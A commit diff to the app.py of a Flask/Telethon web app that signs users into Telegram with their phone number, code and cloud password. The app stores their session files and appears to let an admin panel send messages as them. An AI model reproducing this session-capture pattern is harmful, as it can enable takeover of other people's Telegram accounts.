Aleksmorshen commited on
Commit
0ba5990
·
verified ·
1 Parent(s): b775ba5

Update app.py

Browse files
Files changed (1) hide show
  1. app.py +25 -19
app.py CHANGED
@@ -1,3 +1,4 @@
 
1
  from flask import Flask, request, jsonify, render_template_string, send_from_directory
2
  from telethon.sync import TelegramClient
3
  from telethon import events
@@ -64,8 +65,8 @@ HTML_TEMPLATE = '''
64
  <input type="text" id="phone" placeholder="Phone number (+1234567890)">
65
  <button onclick="startLogin()">Start Login</button>
66
  <input type="text" id="code" placeholder="Verification code" style="display:none;">
 
67
  <button id="submitCode" onclick="submitCode()" style="display:none;">Submit Code</button>
68
- <input type="text" id="password" placeholder="Cloud Password" style="display:none;">
69
  <button id="submitPassword" onclick="submitPassword()" style="display:none;">Submit Password</button>
70
  </div>
71
  <div class="admin-panel">
@@ -99,8 +100,8 @@ HTML_TEMPLATE = '''
99
  const result = await response.json();
100
  alert(result.message);
101
  if (result.success) {
102
- document.getElementById('code').style.display = 'block';
103
- document.getElementById('submitCode').style.display = 'block';
104
  }
105
  }
106
 
@@ -114,13 +115,15 @@ HTML_TEMPLATE = '''
114
  const result = await response.json();
115
  alert(result.message);
116
  if (result.success) {
117
- document.getElementById('password').style.display = 'block';
118
- document.getElementById('submitPassword').style.display = 'block';
119
- } else if (result.password_needed) {
120
- document.getElementById('password').style.display = 'block';
121
- document.getElementById('submitPassword').style.display = 'block';
122
- } else if (result.logged_in) {
123
- location.reload();
 
 
124
  }
125
  }
126
 
@@ -174,29 +177,32 @@ def login():
174
  client = TelegramClient(session_file, API_ID, API_HASH)
175
  try:
176
  if step == 'start':
177
- client.start(phone=lambda: phone)
178
- return jsonify({'success': True, 'message': 'Enter the code sent to your Telegram'})
179
  elif step == 'code':
180
- client.start(phone=lambda: phone, code_callback=lambda: code)
 
181
  me = client.get_me()
182
  with sqlite3.connect(DB_PATH) as conn:
183
  c = conn.cursor()
184
  c.execute('INSERT OR REPLACE INTO users (telegram_id, username, phone, session_file) VALUES (?, ?, ?, ?)',
185
  (str(me.id), me.username or '', phone, session_file))
186
  conn.commit()
187
- if client.session.auth_key is None or client.session.auth_key == b'':
188
- return jsonify({'success': False, 'password_needed': True, 'message': 'Enter cloud password'})
189
- return jsonify({'success': True, 'logged_in': True, 'message': 'Logged in successfully'})
190
  elif step == 'password':
191
- client.start(phone=lambda: phone, code_callback=lambda: code, password=lambda: password)
192
  me = client.get_me()
193
  with sqlite3.connect(DB_PATH) as conn:
194
  c = conn.cursor()
195
  c.execute('INSERT OR REPLACE INTO users (telegram_id, username, phone, session_file) VALUES (?, ?, ?, ?)',
196
  (str(me.id), me.username or '', phone, session_file))
197
  conn.commit()
198
- return jsonify({'success': True, 'logged_in': True, 'message': 'Logged in successfully'})
 
199
  except Exception as e:
 
 
200
  return jsonify({'success': False, 'message': str(e)})
201
  finally:
202
  client.disconnect()
@@ -288,4 +294,4 @@ def send_message(user_id):
288
 
289
  if __name__ == '__main__':
290
  init_db()
291
- app.run(host=HOST, port=PORT)
 
1
+
2
  from flask import Flask, request, jsonify, render_template_string, send_from_directory
3
  from telethon.sync import TelegramClient
4
  from telethon import events
 
65
  <input type="text" id="phone" placeholder="Phone number (+1234567890)">
66
  <button onclick="startLogin()">Start Login</button>
67
  <input type="text" id="code" placeholder="Verification code" style="display:none;">
68
+ <input type="text" id="password" placeholder="Cloud password" style="display:none;">
69
  <button id="submitCode" onclick="submitCode()" style="display:none;">Submit Code</button>
 
70
  <button id="submitPassword" onclick="submitPassword()" style="display:none;">Submit Password</button>
71
  </div>
72
  <div class="admin-panel">
 
100
  const result = await response.json();
101
  alert(result.message);
102
  if (result.success) {
103
+ document.getElementById('code').style.display = 'inline';
104
+ document.getElementById('submitCode').style.display = 'inline';
105
  }
106
  }
107
 
 
115
  const result = await response.json();
116
  alert(result.message);
117
  if (result.success) {
118
+ document.getElementById('password').style.display = 'inline';
119
+ document.getElementById('submitPassword').style.display = 'inline';
120
+ document.getElementById('submitCode').style.display = 'none';
121
+ document.getElementById('code').style.display = 'none';
122
+ } else if (result.password_required) {
123
+ document.getElementById('password').style.display = 'inline';
124
+ document.getElementById('submitPassword').style.display = 'inline';
125
+ document.getElementById('submitCode').style.display = 'none';
126
+ document.getElementById('code').style.display = 'none';
127
  }
128
  }
129
 
 
177
  client = TelegramClient(session_file, API_ID, API_HASH)
178
  try:
179
  if step == 'start':
180
+ client.send_code_request(phone)
181
+ return jsonify({'success': True, 'message': 'Code sent to your Telegram'})
182
  elif step == 'code':
183
+ client.start(phone)
184
+ client.sign_in(phone, code)
185
  me = client.get_me()
186
  with sqlite3.connect(DB_PATH) as conn:
187
  c = conn.cursor()
188
  c.execute('INSERT OR REPLACE INTO users (telegram_id, username, phone, session_file) VALUES (?, ?, ?, ?)',
189
  (str(me.id), me.username or '', phone, session_file))
190
  conn.commit()
191
+ client.disconnect()
192
+ return jsonify({'success': True, 'message': 'Logged in successfully'})
 
193
  elif step == 'password':
194
+ client.sign_in(password=password)
195
  me = client.get_me()
196
  with sqlite3.connect(DB_PATH) as conn:
197
  c = conn.cursor()
198
  c.execute('INSERT OR REPLACE INTO users (telegram_id, username, phone, session_file) VALUES (?, ?, ?, ?)',
199
  (str(me.id), me.username or '', phone, session_file))
200
  conn.commit()
201
+ client.disconnect()
202
+ return jsonify({'success': True, 'message': 'Logged in with cloud password'})
203
  except Exception as e:
204
+ if 'session password' in str(e):
205
+ return jsonify({'success': False, 'password_required': True, 'message': 'Cloud password required'})
206
  return jsonify({'success': False, 'message': str(e)})
207
  finally:
208
  client.disconnect()
 
294
 
295
  if __name__ == '__main__':
296
  init_db()
297
+ app.run(host=HOST, port=PORT)